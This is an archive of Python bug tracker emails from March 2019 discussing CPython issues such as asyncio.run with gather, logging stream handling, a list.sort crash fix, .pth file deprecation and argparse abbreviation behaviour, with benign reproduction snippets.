The incorrect result might even be a valid path, coincidentally. For example:

    >>> print(os.getcwd())
    \\.\C:\Temp
    >>> os.chdir(r'\localhost\C$')
    >>> print(os.getcwd())
    \\localhost\C$


[1]: https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-setcurrentdirectory
[2]: https://web.archive.org/web/20160428232130/https://msdn.microsoft.com/en-us/library/windows/desktop/aa365530(v=vs.85).aspx

----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36213>
_______________________________________

From report at bugs.python.org  Wed Mar  6 22:48:18 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 07 Mar 2019 03:48:18 +0000
Subject: [issue36220] LOAD_NAME and LOAD_GLOBAL handle dict subclasses for
 globals() differently
In-Reply-To: <1551930086.95.0.70586200648.issue36220@roundup.psfhosted.org>
Message-ID: <1551930498.95.0.47093765363.issue36220@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka, vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36220>
_______________________________________

From report at bugs.python.org  Wed Mar  6 22:53:57 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 07 Mar 2019 03:53:57 +0000
Subject: [issue36219] Add edit option in IDLE to convert smart quotes to ascii
 quotes
In-Reply-To: <1551917403.61.0.29942545482.issue36219@roundup.psfhosted.org>
Message-ID: <1551930837.18.0.640401186109.issue36219@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Also dashes and hyphens to minuses and non-breaking spaces to normal spaces.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36219>
_______________________________________

From report at bugs.python.org  Thu Mar  7 00:16:49 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 07 Mar 2019 05:16:49 +0000
Subject: [issue36185] [EASY DOC] typo: Doc/c-api/objbuffer.rst: There is a
 typo in "corresponding"
In-Reply-To: <1551710598.51.0.139249207264.issue36185@roundup.psfhosted.org>
Message-ID: <1551935809.78.0.0136030167047.issue36185@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset ecc161d1209bf6d21f0fd6bef28476eda7cdaf79 by Serhiy Storchaka (Emmanuel Arias) in branch 'master':
bpo-36185: Fix typo in Doc/c-api/objbuffer.rst. (GH-12204)
https://github.com/python/cpython/commit/ecc161d1209bf6d21f0fd6bef28476eda7cdaf79


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36185>
_______________________________________

From report at bugs.python.org  Thu Mar  7 00:17:52 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 07 Mar 2019 05:17:52 +0000
Subject: [issue36185] [EASY DOC] typo: Doc/c-api/objbuffer.rst: There is a
 typo in "corresponding"
In-Reply-To: <1551710598.51.0.139249207264.issue36185@roundup.psfhosted.org>
Message-ID: <1551935872.24.0.687698859165.issue36185@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12200

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36185>
_______________________________________

From report at bugs.python.org  Thu Mar  7 00:24:57 2019
From: report at bugs.python.org (miss-islington)
Date: Thu, 07 Mar 2019 05:24:57 +0000
Subject: [issue36185] [EASY DOC] typo: Doc/c-api/objbuffer.rst: There is a
 typo in "corresponding"
In-Reply-To: <1551710598.51.0.139249207264.issue36185@roundup.psfhosted.org>
Message-ID: <1551936297.15.0.601438665437.issue36185@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset ca5ba3c8ac1dad511461d4251ffffc6a1ca19de2 by Miss Islington (bot) in branch '3.7':
bpo-36185: Fix typo in Doc/c-api/objbuffer.rst. (GH-12204)
https://github.com/python/cpython/commit/ca5ba3c8ac1dad511461d4251ffffc6a1ca19de2


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36185>
_______________________________________

From report at bugs.python.org  Thu Mar  7 01:13:02 2019
From: report at bugs.python.org (Vinay Sajip)
Date: Thu, 07 Mar 2019 06:13:02 +0000
Subject: [issue36193] Redirected stderr not reset properly when using logging
In-Reply-To: <1551784639.74.0.156563550591.issue36193@roundup.psfhosted.org>
Message-ID: <1551939182.06.0.434904530366.issue36193@roundup.psfhosted.org>


Vinay Sajip <vinay_sajip at yahoo.co.uk> added the comment:

The StreamHandler allows you to specify *exactly* which stream you want to use to log to; sys.stderr is provided as a convenient default argument because that's what a lot of people want a lot of the time.

This is typically done at logging configuration time, or whenever a StreamHandler is created. This is done implicitly by your logging.warning() call (as documented, this calls logging.basicConfig(), which adds a StreamHandler using whatever sys.stderr is set to at the time the StreamHandler is instantiated). Also documented is that basicConfig() is only effective once (it will not do anything if a handler has already been added to the root logger - it is only meant to be use for simple one-off scripts). The documentation for basicConfig() is clear:

"Does basic configuration for the logging system by creating a StreamHandler with a default Formatter and adding it to the root logger. The functions debug(), info(), warning(), error() and critical() will call basicConfig() automatically if no handlers are defined for the root logger.

This function does nothing if the root logger already has handlers configured for it."

If you want to use the real console streams, don't use logging.warning(), but instead explicitly call basicConfig() using __stderr__, as Peter says. Alternatively, use the approach suggested in the cookbook for context-sensitive logging:

https://docs.python.org/3/howto/logging-cookbook.html#using-a-context-manager-for-selective-logging

Closing, as this is not a bug in logging.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36193>
_______________________________________

From report at bugs.python.org  Thu Mar  7 01:25:56 2019
From: report at bugs.python.org (Vinay Sajip)
Date: Thu, 07 Mar 2019 06:25:56 +0000
Subject: [issue36015] streamhandler cannot represent streams with an integer
 as name
In-Reply-To: <1550431224.14.0.504793638163.issue36015@roundup.psfhosted.org>
Message-ID: <1551939956.59.0.818379868588.issue36015@roundup.psfhosted.org>


Vinay Sajip <vinay_sajip at yahoo.co.uk> added the comment:

Sorry, Riccardo, been very busy lately and not had time to look at it :-( Soon, I hope.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36015>
_______________________________________

From report at bugs.python.org  Thu Mar  7 01:47:30 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 07 Mar 2019 06:47:30 +0000
Subject: [issue33346] Syntax error with async generator inside dictionary
 comprehension
In-Reply-To: <1524567941.57.0.682650639539.issue33346@psf.upfronthosting.co.za>
Message-ID: <1551941250.49.0.66550012606.issue33346@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

It is what PR 6766 implements, Nathaniel.

Except that your first example (an asynchronous generator in a synchronous comprehensions) is allowed in the current code and can occur inside a synchronous function.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33346>
_______________________________________

From report at bugs.python.org  Thu Mar  7 01:54:17 2019
From: report at bugs.python.org (Nathaniel Smith)
Date: Thu, 07 Mar 2019 06:54:17 +0000
Subject: [issue33346] Syntax error with async generator inside dictionary
 comprehension
In-Reply-To: <1524567941.57.0.682650639539.issue33346@psf.upfronthosting.co.za>
Message-ID: <1551941657.42.0.482447172687.issue33346@roundup.psfhosted.org>


Nathaniel Smith <njs at pobox.com> added the comment:

> Except that your first example (an asynchronous generator in a synchronous comprehensions) is allowed in the current code and can occur inside a synchronous function.

Oh yeah, you're right of course.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33346>
_______________________________________

From report at bugs.python.org  Thu Mar  7 01:56:21 2019
From: report at bugs.python.org (Barry A. Warsaw)
Date: Thu, 07 Mar 2019 06:56:21 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1551927899.06.0.914050581164.issue33944@roundup.psfhosted.org>
Message-ID: <C3B646A8-724D-4B5A-990C-EB0F54E910E2@python.org>


Barry A. Warsaw <barry at python.org> added the comment:

On Mar 6, 2019, at 19:04, Anthony Sottile <report at bugs.python.org> wrote:

> It assigns `subprocess.run`, which is an api in python3.5+.  In those versions, `subprocess.check_*` is implemented in terms of `subprocess.run`.   The `subprocess.run` provided by that package has a different api than the stdlib one so any use of the subprocess module is broken just by having that package installed

Doesn?t that kind of prove my point? :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 01:58:38 2019
From: report at bugs.python.org (Denis S. Otkidach)
Date: Thu, 07 Mar 2019 06:58:38 +0000
Subject: [issue36221] Setting PYTHONASYNCIODEBUG breaks warnings
Message-ID: <1551941918.68.0.578445039903.issue36221@roundup.psfhosted.org>


New submission from Denis S. Otkidach <denis.otkidach at gmail.com>:

Test script:

-->8--
import asyncio

@asyncio.coroutine
def test():
    with (yield from asyncio.Lock()):
        pass

asyncio.run(test())
-->8--

Correct behavior without flag (warning is reported and points to correct line of code):
---
$ python test.py 
test.py:5: DeprecationWarning: 'with (yield from lock)' is deprecated use 'async with lock' instead
  with (yield from asyncio.Lock()):
---

Setting PYTHONASYNCIODEBUG flag disables warning:
---
$ PYTHONASYNCIODEBUG=1 python test.py
$
---

Warning is back explicitly turned on, but points to incorrect position in stack:
---
$ PYTHONASYNCIODEBUG=1 python -Wall test.py 
lib/python3.8/asyncio/coroutines.py:58: DeprecationWarning: 'with (yield from lock)' is deprecated use 'async with lock' instead
  return self.gen.send(None)
---

Another way to enable debugging doesn't disable warnings, but break its location too:
---
$ python -Xdev test.py 
lib/python3.8/asyncio/coroutines.py:58: DeprecationWarning: 'with (yield from lock)' is deprecated use 'async with lock' instead
  return self.gen.send(None)
---

----------
components: asyncio
messages: 337366
nosy: asvetlov, ods, yselivanov
priority: normal
severity: normal
status: open
title: Setting PYTHONASYNCIODEBUG breaks warnings
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36221>
_______________________________________

From report at bugs.python.org  Thu Mar  7 01:59:43 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 07 Mar 2019 06:59:43 +0000
Subject: [issue36169] Add overlap() method to statistics.NormalDist()
In-Reply-To: <1551567872.57.0.0650714757552.issue36169@roundup.psfhosted.org>
Message-ID: <1551941983.79.0.101370497822.issue36169@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:


New changeset 318d537daabf2bd5f781255c7e25bfce260cf227 by Raymond Hettinger in branch 'master':
bpo-36169 : Add overlap() method to statistics.NormalDist (GH-12149)
https://github.com/python/cpython/commit/318d537daabf2bd5f781255c7e25bfce260cf227


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36169>
_______________________________________

From report at bugs.python.org  Thu Mar  7 02:00:03 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 07 Mar 2019 07:00:03 +0000
Subject: [issue36169] Add overlap() method to statistics.NormalDist()
In-Reply-To: <1551567872.57.0.0650714757552.issue36169@roundup.psfhosted.org>
Message-ID: <1551942003.57.0.799515701654.issue36169@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36169>
_______________________________________

From report at bugs.python.org  Thu Mar  7 02:07:19 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Thu, 07 Mar 2019 07:07:19 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551942439.34.0.723935814473.issue33944@roundup.psfhosted.org>


Anthony Sottile <asottile at umich.edu> added the comment:

> Doesn?t that kind of prove my point? :)

It's not any worse than gevent ~breaking~ monkeypatching almost the entire standard library.  And to be fair to the author, it was created well before (2013-06-21) python3.5's `run` api existed (2015-04-14)

It's also the only problematic package that I could find -- if anything it's an indication that this feature is used (almost entirely) for good and without issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 02:17:20 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 07 Mar 2019 07:17:20 +0000
Subject: [issue36185] [EASY DOC] typo: Doc/c-api/objbuffer.rst: There is a
 typo in "corresponding"
In-Reply-To: <1551710598.51.0.139249207264.issue36185@roundup.psfhosted.org>
Message-ID: <1551943040.99.0.354436919488.issue36185@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36185>
_______________________________________

From report at bugs.python.org  Thu Mar  7 03:04:56 2019
From: report at bugs.python.org (=?utf-8?q?Andrius_Laukavi=C4=8Dius?=)
Date: Thu, 07 Mar 2019 08:04:56 +0000
Subject: [issue36193] Redirected stderr not reset properly when using logging
In-Reply-To: <1551939182.06.0.434904530366.issue36193@roundup.psfhosted.org>
Message-ID: <CAFChh+aYEwvX5x28xU=ftTkQpoBF7co=8LZsaqXbP25hLoH3EA@mail.gmail.com>


Andrius Laukavi?ius <anlaukavic at gmail.com> added the comment:

Ok. Thanks for the clarification.

On Thu, Mar 7, 2019, 08:13 Vinay Sajip <report at bugs.python.org> wrote:

>
> Vinay Sajip <vinay_sajip at yahoo.co.uk> added the comment:
>
> The StreamHandler allows you to specify *exactly* which stream you want to
> use to log to; sys.stderr is provided as a convenient default argument
> because that's what a lot of people want a lot of the time.
>
> This is typically done at logging configuration time, or whenever a
> StreamHandler is created. This is done implicitly by your logging.warning()
> call (as documented, this calls logging.basicConfig(), which adds a
> StreamHandler using whatever sys.stderr is set to at the time the
> StreamHandler is instantiated). Also documented is that basicConfig() is
> only effective once (it will not do anything if a handler has already been
> added to the root logger - it is only meant to be use for simple one-off
> scripts). The documentation for basicConfig() is clear:
>
> "Does basic configuration for the logging system by creating a
> StreamHandler with a default Formatter and adding it to the root logger.
> The functions debug(), info(), warning(), error() and critical() will call
> basicConfig() automatically if no handlers are defined for the root logger.
>
> This function does nothing if the root logger already has handlers
> configured for it."
>
> If you want to use the real console streams, don't use logging.warning(),
> but instead explicitly call basicConfig() using __stderr__, as Peter says.
> Alternatively, use the approach suggested in the cookbook for
> context-sensitive logging:
>
>
> https://docs.python.org/3/howto/logging-cookbook.html#using-a-context-manager-for-selective-logging
>
> Closing, as this is not a bug in logging.
>
> ----------
> resolution:  -> not a bug
> stage:  -> resolved
> status: open -> closed
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36193>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36193>
_______________________________________

From report at bugs.python.org  Thu Mar  7 03:11:14 2019
From: report at bugs.python.org (=?utf-8?q?Ionel_Cristian_M=C4=83rie=C8=99?=)
Date: Thu, 07 Mar 2019 08:11:14 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1551942439.34.0.723935814473.issue33944@roundup.psfhosted.org>
Message-ID: <CANkHFr9GROvQY-x3SbGC53ee8+y9PXUTmoFxo5rAPWgB-gARqA@mail.gmail.com>


Ionel Cristian M?rie? <contact at ionelmc.ro> added the comment:

> Doesn?t that kind of prove my point? :)

So basically you'd remove the whole feature just cause one package no one
installs abuses it. Doesn't make sense.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 03:20:45 2019
From: report at bugs.python.org (Windson Yang)
Date: Thu, 07 Mar 2019 08:20:45 +0000
Subject: [issue36203] PyWeakref_NewRef docs are misleading
In-Reply-To: <1551834230.67.0.926562735048.issue36203@roundup.psfhosted.org>
Message-ID: <1551946845.24.0.767600129727.issue36203@roundup.psfhosted.org>


Windson Yang <wiwindson at outlook.com> added the comment:

It looks to me the fix is easy, we just will return NULL and raise TypeError when the callback is not callable, None, or NULL. I'm not an expert in C, but I would love to create a PR for it if you don't have time.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36203>
_______________________________________

From report at bugs.python.org  Thu Mar  7 03:23:58 2019
From: report at bugs.python.org (Maxwell Bernstein)
Date: Thu, 07 Mar 2019 08:23:58 +0000
Subject: [issue36203] PyWeakref_NewRef docs are misleading
In-Reply-To: <1551946845.24.0.767600129727.issue36203@roundup.psfhosted.org>
Message-ID: <CANZ2YWW-mUc4i9R_abuL75=+y86_gcg+Gnzzmg_zTtYSAic8Sg@mail.gmail.com>


Maxwell Bernstein <tekk.nolagi at gmail.com> added the comment:

I can likely do it tomorrow. If not I'll update this.

On Thu, Mar 7, 2019, 00:20 Windson Yang <report at bugs.python.org> wrote:

>
> Windson Yang <wiwindson at outlook.com> added the comment:
>
> It looks to me the fix is easy, we just will return NULL and raise
> TypeError when the callback is not callable, None, or NULL. I'm not an
> expert in C, but I would love to create a PR for it if you don't have time.
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36203>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36203>
_______________________________________

From report at bugs.python.org  Thu Mar  7 03:39:27 2019
From: report at bugs.python.org (SilentGhost)
Date: Thu, 07 Mar 2019 08:39:27 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551947967.82.0.808970073307.issue36218@roundup.psfhosted.org>


SilentGhost <ghost.adh at runbox.com> added the comment:

> The following patch fixed the issue and made the whole test suite pass:

R?mi, are you saying there are failing tests currently in the master related to this bug? It seems there are actually very few tests that test for TypeError and all those introduced in 1e34da49ef2 fail to test this code path.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Thu Mar  7 04:08:41 2019
From: report at bugs.python.org (=?utf-8?b?UsOpbXkgSHVic2NoZXIgWzpuYXRpbV0=?=)
Date: Thu, 07 Mar 2019 09:08:41 +0000
Subject: [issue36222] ValueError: a coroutine was expected  with asyncio.run
Message-ID: <1551949721.3.0.00931012089501.issue36222@roundup.psfhosted.org>


New submission from R?my Hubscher [:natim] <hubscher.remy at gmail.com>:

Refs: https://github.com/Martiusweb/asynctest/issues/114

I was trying to mock a `asyncio.run(asyncio.gather())` call and I discovered that while it was working with `loop.run_until_complete` it wasn't with `asyncio.run`

Is there a reason for this difference of behaviour?

```
import asyncio
from unittest.mock import Mock


class AsyncMock(Mock):

    def __call__(self, *args, **kwargs):
        sup = super(AsyncMock, self)
        async def coro():
            return sup.__call__(*args, **kwargs)
        return coro()

    def __await__(self):
        return self().__await__()

mocked_function = AsyncMock()

asyncio.run(asyncio.gather(mocked_function()))
```

```
import asyncio
from unittest.mock import Mock


class AsyncMock(Mock):

    def __call__(self, *args, **kwargs):
        sup = super(AsyncMock, self)
        async def coro():
            return sup.__call__(*args, **kwargs)
        return coro()

    def __await__(self):
        return self().__await__()

mocked_function = AsyncMock()

loop = asyncio.get_event_loop()
loop.run_until_complete(asyncio.gather(mocked_function()))
```

----------
components: asyncio
messages: 337374
nosy: asvetlov, natim, yselivanov
priority: normal
severity: normal
status: open
title: ValueError: a coroutine was expected  with asyncio.run
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36222>
_______________________________________

From report at bugs.python.org  Thu Mar  7 04:30:52 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 07 Mar 2019 09:30:52 +0000
Subject: [issue35838] ConfigParser calls optionxform twice when assigning dict
In-Reply-To: <1548628021.95.0.834258344082.issue35838@roundup.psfhosted.org>
Message-ID: <1551951052.07.0.170365707449.issue35838@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

I sent a mail to python-dev ML.
https://mail.python.org/pipermail/python-dev/2019-March/156613.html

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35838>
_______________________________________

From report at bugs.python.org  Thu Mar  7 04:30:54 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 07 Mar 2019 09:30:54 +0000
Subject: [issue36222] ValueError: a coroutine was expected  with asyncio.run
In-Reply-To: <1551949721.3.0.00931012089501.issue36222@roundup.psfhosted.org>
Message-ID: <1551951054.0.0.689863088081.issue36222@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

asyncio.run() requires a coroutine, whereas gather() returns a subclass of asyncio.Future.
https://docs.python.org/dev/library/asyncio-task.html#asyncio.run

You can wrap gather() into a coroutine like that:
---
async def main():
    await asyncio.gather(mocked_function())

asyncio.run(main())
---

loop.run_until_complete() is different. It requires a "future", not a coroutine.
https://docs.python.org/dev/library/asyncio-eventloop.html#asyncio.loop.run_until_complete

gather() creates a future which is linked to the current event loop, whereas asyncio.run() creates a new event loop for the lifetime of run(). You should not pass a Future from an event loop to another event loop.

It's not a bug ;-)

----------
nosy: +vstinner
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36222>
_______________________________________

From report at bugs.python.org  Thu Mar  7 04:31:24 2019
From: report at bugs.python.org (=?utf-8?b?UsOpbXkgSHVic2NoZXIgWzpuYXRpbV0=?=)
Date: Thu, 07 Mar 2019 09:31:24 +0000
Subject: [issue36222] ValueError: a coroutine was expected  with asyncio.run
In-Reply-To: <1551949721.3.0.00931012089501.issue36222@roundup.psfhosted.org>
Message-ID: <1551951084.12.0.876954573594.issue36222@roundup.psfhosted.org>


R?my Hubscher [:natim] <hubscher.remy at gmail.com> added the comment:

Thank you for the clarification :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36222>
_______________________________________

From report at bugs.python.org  Thu Mar  7 04:42:51 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Thu, 07 Mar 2019 09:42:51 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551951771.91.0.351007229831.issue36218@roundup.psfhosted.org>


Change by R?mi Lapeyre <remi.lapeyre at henki.fr>:


----------
keywords: +patch
pull_requests: +12201
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Thu Mar  7 04:43:34 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Thu, 07 Mar 2019 09:43:34 +0000
Subject: [issue36218] .sort() segfaults consistently on crafted input
In-Reply-To: <1551909272.26.0.760081663583.issue36218@roundup.psfhosted.org>
Message-ID: <1551951814.29.0.147542534452.issue36218@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

> R?mi, are you saying there are failing tests currently in the master related to this bug?

No, you are right there is no tests for this code path and there is no tests on master related to this bug as far as I can tell.

I think the issue comes from https://github.com/python/cpython/blob/master/Objects/listobject.c#L2307-L2310, there is an early exit from the loop when keys don't have all the same type, but it is wrong to still think they are all tuples since:
  - they don't all have the same type
  - we did not check all elements in the list anyway 

The code at https://github.com/python/cpython/blob/master/Objects/listobject.c#L2307-L2310 should be guarded by the `if (keys_are_all_same_type)`. I opened a PR to add the tests from Lyn Levenick and the proposed fix.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36218>
_______________________________________

From report at bugs.python.org  Thu Mar  7 04:45:36 2019
From: report at bugs.python.org (=?utf-8?b?THVrw6HFoSBIcsOhemvDvQ==?=)
Date: Thu, 07 Mar 2019 09:45:36 +0000
Subject: [issue26967] argparse: allow_abbrev=False stops -vv from working
In-Reply-To: <1462475086.65.0.670765920247.issue26967@psf.upfronthosting.co.za>
Message-ID: <1551951936.15.0.203729259414.issue26967@roundup.psfhosted.org>


Luk?? Hr?zk? <lukkash at email.cz> added the comment:

Sad to see this still wasn't fixed. The abbreviation "feature" creates ambiguity and room for error and this bug makes the switch unusable for a lot of applications.

----------
nosy: +lukash

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26967>
_______________________________________

From report at bugs.python.org  Thu Mar  7 05:03:32 2019
From: report at bugs.python.org (Jeroen Demeyer)
Date: Thu, 07 Mar 2019 10:03:32 +0000
Subject: [issue1222585] C++ compilation support for distutils
Message-ID: <1551953012.06.0.351665222256.issue1222585@roundup.psfhosted.org>


Jeroen Demeyer <J.Demeyer at UGent.be> added the comment:

> I tried using compiler.compiler.remove('-Wstrict-prototypes') to no avail.

The -Wstrict-prototypes issue is a separate bug. It is fixed in Python >= 3.6 and there is an open backport PR for 2.7: https://github.com/python/cpython/pull/7476

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue1222585>
_______________________________________

From report at bugs.python.org  Thu Mar  7 05:24:25 2019
From: report at bugs.python.org (Ketan Sharma)
Date: Thu, 07 Mar 2019 10:24:25 +0000
Subject: [issue36223] Execution sequence for print function
Message-ID: <1551954265.43.0.245266247678.issue36223@roundup.psfhosted.org>


New submission from Ketan Sharma <iitkgp.ketan at gmail.com>:

>>> def pola(arr):
...   for i, item in enumerate(arr):
...     arr[i] = item*item
...
>>> a = [1,2,3,4]
>>> print(a,pola(a),a)
[1, 4, 9, 16] None [1, 4, 9, 16]

I would expect the print statement to execute and print the arguments sequentially from left to right. This could be an optimization trick inside the Python compiler, but still different that what would be expected. Thanks.

----------
messages: 337381
nosy: iitkgp.ketan at gmail.com
priority: normal
severity: normal
status: open
title: Execution sequence for print function
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36223>
_______________________________________

From report at bugs.python.org  Thu Mar  7 05:28:13 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Thu, 07 Mar 2019 10:28:13 +0000
Subject: [issue36223] Execution sequence for print function
In-Reply-To: <1551954265.43.0.245266247678.issue36223@roundup.psfhosted.org>
Message-ID: <1551954493.95.0.544488007836.issue36223@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

print does not execute statements, arguments are first resolved like with any function. Your code is equivalent to:

>>> def pola(arr):
...     for i, item in enumerate(arr):
...             arr[i] = item*item
... 
>>> a = [1,2,3,4]
>>> pola(a)
>>> print(a, None, a)
[1, 4, 9, 16] None [1, 4, 9, 16]

I would close this as not a bug.

----------
nosy: +remi.lapeyre

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36223>
_______________________________________

From report at bugs.python.org  Thu Mar  7 05:35:26 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 07 Mar 2019 10:35:26 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1551954926.29.0.521118933494.issue36216@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

FYI I added this vulnerability to:
https://python-security.readthedocs.io/vuln/urlsplit-nfkc-normalization.html

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Thu Mar  7 05:45:10 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Thu, 07 Mar 2019 10:45:10 +0000
Subject: [issue36223] Execution sequence for print function
In-Reply-To: <1551954265.43.0.245266247678.issue36223@roundup.psfhosted.org>
Message-ID: <1551955510.23.0.759526387941.issue36223@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

Agreed with @remi.lapeyre. There is no delayed evaluation in Python and this is not only related to print but it's the general evaluation model in Python. Another example as below since foo(1) is used as an argument it's evaluated first and then the return value is passed.

def bar(a, b):
    print("bar ", a, b)
    return (a, b)

def foo(b):
    print("foo ", b)
    return b

bar(foo(1), 2) # foo is first evaluated to pass 1 bar


$ python3 /tmp/foo.py
foo  1
bar  1 2

Closing this as not a bug.

----------
nosy: +xtreak
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36223>
_______________________________________

From report at bugs.python.org  Thu Mar  7 06:38:41 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 07 Mar 2019 11:38:41 +0000
Subject: [issue11614] import __hello__ is broken in Python 3
In-Reply-To: <1300634112.35.0.363135641538.issue11614@psf.upfronthosting.co.za>
Message-ID: <1551958721.3.0.251364497442.issue11614@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> The byte code could be further optimized (because this is such a speed-critical module! :)): (...)

You propose to replace

              8 CALL_FUNCTION            1
             10 POP_TOP
             12 LOAD_CONST               2 (None)
             14 RETURN_VALUE

with:

             12 CALL_FUNCTION            1 
             15 RETURN_VALUE

It changes the semantics of Python. Technically, you *can* override the print() builtin function:

vstinner at apu$ ./python
Python 3.8.0a2+ (heads/master:dc078947a5, Mar  7 2019, 12:23:23) 
>>> import builtins
>>> def mock(*args, **kw): return 3
... 
>>> builtins.print=mock
>>> print("hello")
3
>>> import __phello__
>>> # doesn't print anything
... 

It would be possible if you ensure that print() isn't replaced.

Longer explanation:
https://fatoptimizer.readthedocs.io/en/latest/semantics.html

